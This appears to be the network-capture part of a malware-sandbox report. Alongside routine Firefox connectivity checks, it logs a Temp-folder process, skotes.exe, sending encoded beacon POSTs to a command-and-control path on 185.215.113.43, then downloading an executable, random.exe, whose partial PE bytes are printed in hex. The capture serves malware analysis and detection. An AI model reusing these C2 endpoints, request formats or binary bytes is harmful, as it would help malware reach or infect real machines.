Oct 26, 2024 08:54:52.525648117 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61114 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	50063	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:52.399681091 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	50065	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:52.534446955 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:54:53.130075932 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77555 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:54:53.373342037 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77555 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:54:53.376283884 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:54:53.504379988 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77555 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:54:53.583921909 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:54:53.712061882 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77555 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:54:53.805980921 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:54:53.930985928 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77555 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:54:54.179729939 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:54:54.304769993 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77556 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:54:58.927203894 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:54:59.052588940 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77560 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:09.107105970 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:55:09.562051058 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:09.686572075 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77571 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	50066	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:52.588781118 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:54:53.371897936 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61115 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:54:53.393445015 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:54:53.524547100 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61115 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:54:53.674896955 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:54:53.803287983 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61115 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:54:54.047203064 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:54:54.175776958 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61116 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:54:58.793340921 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:54:58.921482086 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61120 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:08.966244936 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:55:09.427838087 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:09.556308031 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61131 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	50070	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:52.846388102 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:54:53.764498949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	50078	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:55.398421049 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:54:56.319761038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	50081	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:57.834023952 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:54:58.760757923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	50086	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:00.392065048 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:01.324465990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	50089	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:02.853882074 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:03.767138958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	50095	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:05.392430067 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:06.312159061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	50096	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:05.797390938 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:55:06.700314999 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:06 GMT Content-Type: application/octet-stream Content-Length: 1897984 Last-Modified: Sat, 26 Oct 2024 06:48:41 GMT Connection: keep-alive ETag: "671c90c9-1cf600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0K@`K#@WktK$K @.rsrc@.idata @ *@juonirvb@1@iownkumr K@.taggant00K"@
Oct 26, 2024 08:55:06.700366020 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:55:06.700407028 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:55:06.700443983 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:55:06.700496912 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:55:06.700531006 CEST	1236	IN	Data Raw: 3e 4f 55 21 4a 98 b4 54 aa d2 b7 af 3e 42 b4 41 71 5e b0 41 1e 87 a6 4f 32 e2 6a ea 91 a7 d4 e0 16 12 b4 24 15 39 a5 68 92 3e d9 d3 6a 8e f8 4b ee 43 ff a4 32 6b dc f3 db f6 9c 04 ef 86 65 e5 e0 c2 b7 93 55 42 18 bd 15 fa 45 a5 72 90 c9 5e e0 e6 Data Ascii: >OU!JT>BAq^AO2j$9h>jKC2keUBEr^L%ij$TP09i>sep+o8DAi33VA5DC\2h(QR:d,6tP0A>*.:qPCO3pB^\
Oct 26, 2024 08:55:06.700565100 CEST	848	IN	Data Raw: 06 4a 1f 01 e8 ac 73 96 30 30 a7 46 2a 78 1a c3 cc be a0 3e 1d 76 89 2d d6 bf 59 53 81 4a ee fe fe 4a 7d f0 44 98 fa 9c f9 ab 07 89 68 a5 24 62 64 91 60 a1 ff 27 80 97 4c cd b3 6c af 4c 94 65 11 72 f2 9d 61 40 5f 7b 3b a9 7c 5e fe 32 5d 22 3d 7f Data Ascii: Js00Fx>v-YSJJ}Dh$bd`'LlLera@_{;\|^2]"=cV&!=;1~s3Jd`:YQlxsSCPTyB6hGiHH!8?xysI)EZh 'R 8~%bc'{C2FO4
Oct 26, 2024 08:55:06.700601101 CEST	1236	IN	Data Raw: ad e1 aa 9a a3 7a 0b 19 16 7c 1f 7d 43 e1 9a 92 19 7a 0d 46 1a e2 70 dd 2e da a2 15 cc d0 99 70 63 35 3f 5b b8 a2 16 c0 6a 6b 5a 65 cc bc 70 51 b2 49 d9 9a f3 a8 6d 09 a4 65 9b ca 6e fc 32 f3 16 18 b8 30 e1 71 b2 e1 5a 36 39 c5 50 ae d6 fd e2 f0 Data Ascii: z\|}CzFp.pc5?[jkZepQImen20qZ69PVDqT2JogR^5*]hj}`v/<?2)jd_]xqC3pPxz4QyP@R-1,o#%!,]6 :<4U#gL8FeJ= NypvS
Oct 26, 2024 08:55:06.700634003 CEST	1236	IN	Data Raw: 27 39 a6 93 e2 ba 2a ea 2b 14 3b db 32 1e d9 38 ab be 1d 96 21 56 ab 19 33 5f 6e 44 32 15 81 74 4c b1 f0 a5 05 11 6d d6 c6 c8 5a d2 bc 7c cc ac 83 2b 26 51 11 4c 4f c3 0d 01 24 f5 8a 38 11 5e 5a bf 0d 21 22 9e 4b 01 10 f2 58 fb a3 3d 97 bb 52 ce Data Ascii: '9*+;28!V3_nD2tLmZ\|+&QLO$8^Z!"KX=RtO9BN;b@Z5R l'W9lZ,5/,/z4o#./\|)8NJ5-}\|dm"d92
Oct 26, 2024 08:55:06.700669050 CEST	424	IN	Data Raw: 00 ce dc a3 f3 23 99 88 69 10 a5 ca f3 9a a5 e4 08 7f 41 35 33 06 5f eb 0c ef 5d 51 a3 f9 b7 84 04 08 d6 eb dc a2 ea 84 96 6f ad 5e e4 62 69 41 7d 3e c4 63 43 90 c4 c2 0a 96 2b eb 24 80 08 54 ab dd 84 35 5c 46 ff e0 66 c2 6e fa f2 e7 c7 f0 29 e5 Data Ascii: #iA53_]Qo^biA}>cC+$T5\Ffn)xLQYPh'\+ ^[N/-b 1?PWOb>D[#H1#Ea;YYY*BGvdW8:cv@DX.X5pgb<\A9fT_N]
